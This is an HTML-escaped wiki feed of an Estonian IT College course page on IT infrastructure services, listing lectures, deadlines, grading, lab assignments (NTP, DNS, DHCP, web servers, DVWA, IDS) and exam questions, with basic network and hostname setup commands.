[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88409</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88409"/>
		<updated>2015-05-11T09:25:26Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Dokumentatsioon */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Teemad 2015 ==&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
